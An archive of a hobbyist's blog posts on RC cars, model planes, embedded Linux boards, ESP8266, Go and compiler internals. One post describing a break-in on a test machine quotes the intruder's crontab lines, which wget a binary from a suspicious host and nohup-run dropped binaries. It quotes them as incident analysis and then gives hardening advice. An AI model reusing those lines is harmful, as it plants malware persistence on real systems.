Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.

I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.

New rover board

Sun, 12 Jul 2015 20:17:14 +0000

I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:

On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.

The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.

1.8″ LCD support for the ESP8266

Sun, 17 May 2015 18:21:14 +0000

I’ve ported the Adafruit 1.8″ LCD driver to the new-ish Arduino ESP8266 port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!

I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.

My goal is to restart my self driving RC car project with a NAZE32 as the controller board and an ESP8266 as logging, display, and telemetry. Let’s see how far I get this time 🙂

Pin to native mapping for the Teensy LC

Sun, 03 May 2015 19:43:56 +0000

I’m hacking on porting NuttX to the Teensy LC instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:

0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30

This was made by running core_pins.h through the C preprocessor.

Impressed with NodeMCU

Fri, 06 Feb 2015 19:34:25 +0000

NodeMcu is a Lua interpreter with a good set of support libraries for the far-too-cheap ESP8266. I’m impressed with how easy it is to script up a Wifi connected thermometer using a DS18B20 1-wire thermometer, MQTT for publishing, and Wifi to a OpenWRT router for the transport.

Have a look at the NodeMcu git repo for the bundled libraries which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.

It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.

Fast-ish boot for the Arietta

Thu, 22 Jan 2015 20:09:07 +0000

A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.

After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.

So that’s the trick: change init from executing all of the scripts in /etc/rc2.d/ and instead have it run your own /etc/init.d/rc2.

The first step is to change the init config file /etc/inittab. As a diff:

-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2

Then create a file holding helper functions, including a log function that’s useful when timing individual steps:

/etc/init.d/rc.common:

PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH

umask 022

start() {
        echo "+ $@..."
        $@
}

Overwrite the initial startup script /etc/init.d/rcS with:

#!/bin/busybox sh

. /etc/init.d/rc.common

start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock

start mount -a
start hostname $(cat /etc/hostname)

#start /etc/init.d/udev start
echo > /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0

# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom

start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up

and finally create /etc/init.d/rc2 to start your services and perhaps application:

#!/bin/busybox sh

. /etc/init.d/rc.common

make_mac() {
    echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}

# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up

# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd

# Finished!
echo uptime: `cat /proc/uptime`

Make sure the files are executable (chmod +x ...).

The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.

Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run sudo apt-get install busybox to get it.

Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.

Click here for a tarball of the files.

Serial to Wifi board hacking

Thu, 11 Dec 2014 21:15:14 +0000

I’m having fun with my Olimex ESP8266 dev board. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the serial to Wifi boards but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.

So far I’ve only built the community run toolchain and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.

Next step is to turn the LED on and off from a web form.

golang and realtime musings

Sun, 19 Oct 2014 18:23:21 +0000

I’m using golang as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.

I had a look at the source and there’s a few issues:

No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.

The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.

The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.

The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a ATTINY as a timer to measure the start and runtime jitter.

Balancing robot first steps

Sun, 21 Sep 2014 18:01:47 +0000

I’m working on a self balancing robot as a coming-into-winter-something-inside-sounds-good project. Today I got it driving about: not balancing, not smart, but still a good milestone.

It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a Arietta 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.

It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.

The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.

Dogfighter settings

Sat, 19 Jul 2014 13:10:41 +0000

I’m quite enjoying my Multiplex Dogfighter. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.

For reference, here’s the settings I use on my Futaba remote:

Aileron: rate 60 % exponential -40 %
- Elevator: rate 100 % exponential -20 %
  - Flaperons: -30 %
    - Air brake: Aileron +50 % Elevator +11 % Flaps: +50 %
    This is quite docile. The flaperons could be more negative.

Console on a old Nokia display

Tue, 15 Jul 2014 18:34:59 +0000

After a night of hacking I have the cutest console ever: fbcon on my Arietta G25 showing on a 84×48 Nokia 3310 LCD thanks to fbtft. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.

There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.

I’m tempted to put GERTY‘s face from Moon on it while it drives about.

Shorter boot time on the Arietta G25

Sun, 13 Jul 2014 19:25:45 +0000

Short story: my Arietta G25 now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.

I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.

My log is here. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.

I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.

This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.

Arietta 25

Sun, 29 Jun 2014 19:51:29 +0000

I picked up two Acme Systems Arietta G25‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.

Some random notes:

The board shows up as a USB CDC EEM Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the chromeos-3.8.11 EEM driver from source and it worked just fine.

The usual SSH port forwarding trick works well for installing extra packages. Run Polipo somewhere on your network, SSH into the board with port forwarding (-R 8123:proxy-name:8123), set the proxy (export http_proxy=http://localhost:8123/), and apt-get away.

The default hostname is arietta. Add it to the localhost line in /etc/hosts to make sudo faster.

The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try GOARCH=arm GOARM=5 go build.

I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses #include and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.

Some grass trimming

Sun, 22 Jun 2014 17:38:25 +0000

Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.

The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:

Up and down again

Sun, 01 Jun 2014 10:03:59 +0000

This is what success with a Multiplex Dogfighter looks like:

The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!

Pro tip: wear long pants when flying else the long grass will make you regret.

Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog

Tue, 22 Apr 2014 17:25:12 +0000

Seeing messages like sshd[28778]: PAM service(sshd) ignoring max retries; 6 > 3 in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add MaxAuthTries 3 to /etc/ssh/sshd_config.

Huffman coding on NMEA sentances

Sun, 13 Apr 2014 19:12:47 +0000

I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.

For comparison, on my 135,548 byte test file:

Treating each character as a symbol gives 58,749 B (2.30x)
- Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
  - lzop gives 22,161 B (6.12x)
    - gzip gives 12,167 B (11.2x)
    The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the Allmend. Off the shelf is too easy.

Three days to posession

Mon, 31 Mar 2014 18:19:57 +0000

As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.

So the lessons are:

Always clear the root password.
- Disable root login in sshd_config.
  - Disable password logins in sshd_config and use keys only.
  The particular virus uses Perl to run a script that masquerades as /usr/sbin/apache/log. It overwrites /var/spool/cron/crontab/root to fetch various things over reboot including writing various binaries like /etc/atddd. Some example lines:
```
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
```

*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1&

        These are all x86 statically linked binaries. I don&#8217;t think they&#8217;re run too good on ARM 🙂
        
        Time to nuke the system. It&#8217;s the only way to be sure.

First flying of the year

Sun, 23 Feb 2014 15:03:03 +0000

I dusted my T-28 Trojan off and took it for a fly in the Allmend today. Hard to say no to such nice weather. I could even feel my fingers when I got back!

Unstable heading

Sun, 16 Feb 2014 19:48:42 +0000

The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.

I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…

Next step is to wire up the MPU-6050 based gyro I got off ebay. i2cdevlib has a driver for it that uses the Fastwire ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.

Heading controller progress

Sun, 02 Feb 2014 16:55:18 +0000

The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.

The reliability problem has gone after switching from the golang gc compiler to gccgo. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”

Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a gyro is tempting.

Actually, the zeroth step is replacing the front wishbone:

I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome Frontrammer.

Adding watchdogs to track down a halt

Sat, 01 Feb 2014 20:39:17 +0000

The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.

I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.

I’ll dump the message and error counter to the log as well to see if the rates change when driving.

Heh, next thing you know my car will be running Borgmon…

Fixing bad AVR fuses the hard(er) way

Wed, 29 Jan 2014 20:01:40 +0000

Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented desoldering braid. It’s awesome and got the pins clean enough that I could just lever the old chip out.

I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.

Heading controller tests

Sun, 26 Jan 2014 20:27:40 +0000

The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.

You need quite a bit of room when testing as you need to go > 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.

There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.

Speed controller test

Sun, 19 Jan 2014 16:26:20 +0000

The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).

Adding the ‘P’ term made a big difference to the step response.

Speed controller test

It’s oscillating!

Sun, 12 Jan 2014 19:38:36 +0000

I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.

It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.

Next is adding a deadband to give finer control and better limits on the maximum drive and integral.

The driving lunchbox

Sat, 04 Jan 2014 14:52:02 +0000

I found a good container to house the electronics on my never-complete autopilot project. Here’s some pictures of it mounted onto the car:

The car is a Conrad Rhino III buggy. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.

The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the Beaglebone Black into it. The clearance from the hot motor should be enough.

Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.

Supervisor is working

Sun, 29 Dec 2013 20:51:52 +0000

The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.

This means I have:

Multi-channel PWM input from the RC receiver.
- A link with the Go based, BeagleBone hosted pilot that receives demands.
  - A state machine that handles remote to pilot handover.
    - Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
      - And indicators for all.
      There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.

First tries with Go

Mon, 23 Dec 2013 19:20:36 +0000

I’d like to learn Go, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:

Effective Go is short, detailed, and just right if you’re happy in other languages
- Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
  - The emacs packages are in misc/emacs. Copy to ~/.emacs.d/lisp
    - Inside emacs, try go-mode and gofmt
      - encodings/binary can encode and decode bytes to structs, so that takes care of the message parsing.
      The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.
      
      Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?

Christmas star light

Sun, 22 Dec 2013 16:36:35 +0000

We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex OLIMEXINO-85, a 8 mm RGB led, and the support components to make this:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v

The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.

Code is at https://juju.net.nz/src/hacks.git/tree/christmas.

Regulator board

Fri, 20 Dec 2013 19:40:02 +0000

I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.

It could use some hot glue as strain relief on the cable.

FTDI serial adapters and Chrome OS

Tue, 17 Dec 2013 21:09:09 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think..

chromium

Tue, 17 Dec 2013 08:10:22 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?

An open-source project to help move the web forward.

ARM Chromebook as a primary machine

Sun, 24 Nov 2013 18:28:47 +0000

I’m going to see if my Samsung ARM Chromebook can be my primary machine. I’ve put a crouton Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.

I’m doing a bit of web.py and Arduino (via avrdude) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.

Using clobber in machine descriptions

Thu, 23 Apr 2009 20:22:02 +0000

‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.

Took a while to figure this out

Extreme optimisation

Fri, 17 Apr 2009 07:40:46 +0000

GCC is crazy.Â It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.

builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().

Canterbury innovation incubator

Sun, 05 Apr 2009 05:08:53 +0000

The Cii seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.

Adding new relocation types

Mon, 30 Mar 2009 08:44:32 +0000

For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h

binutils / bfd target magic

Mon, 02 Mar 2009 08:49:27 +0000

So the BFD architectures listed in bfd.h are actually defined archures.c in a big comment block at the start of the file.Â This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.

Note that a ‘make headers’ doesn’t re-build it.Â I found a ‘make distclean; ./configure’ was the most brute force way.

Python on an embedded system

Thu, 19 Feb 2009 07:17:49 +0000

I like Python.Â I want to use Python everywhere.Â Hmm.Â Sounds more like an addiction.Â The question is, is Python suitable as a glue language on a embedded Linux system?

With a few hacks Python 1.5.2 cross compiles just fine.Â The speed will be acceptable so it’s really only the size that matters.

A standard build under x86 is 12.6M. From there:

Stripping python saves 1.1M
Removing man and include saves 400k
Removing *.py and *.pyo saves 2.8M but still lets everything run
Removing Tk, Config, and stdwin saves 3.9M
Removing test saves 1.9M

This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â Quite respectable.

Naming

Sun, 01 Feb 2009 19:20:14 +0000

For personal reference.Â What happens when you follow too strict of a naming convention:

http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html

Hmm

Wed, 26 Nov 2008 08:42:41 +0000

http://www.ladyada.net/make/fuzebox/index.html

and

http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1

Anthony’s

Tue, 30 Sep 2008 03:27:51 +0000

…fish grotto on the bay in San Diego is very good.

They also do seafood.

Richard Stallman

Sat, 16 Aug 2008 07:12:53 +0000

Saw RMS at Canterbury University today.Â He has an interesting point of view, very liberal, but also a point of view that is based on old technology.

He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â The solution is to install your own version on your own machine.Â I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â I don’t want to manage any of the software I use, and one solution is to let someone else do it.

He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â Both I could fix with the source.Â Then you have car computers such as the Nissan GT-R that changes the car response if it is on a race track.Â I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.

Hmm.Â Perhaps the embedded/mechanical equivalent is the Maker Bill of Rights from Make Magazine.

Zen of website maintenance

Wed, 06 Aug 2008 09:49:28 +0000

A certain website had a few vuneribilities including XSS and leaking passwords.Â The fixes were: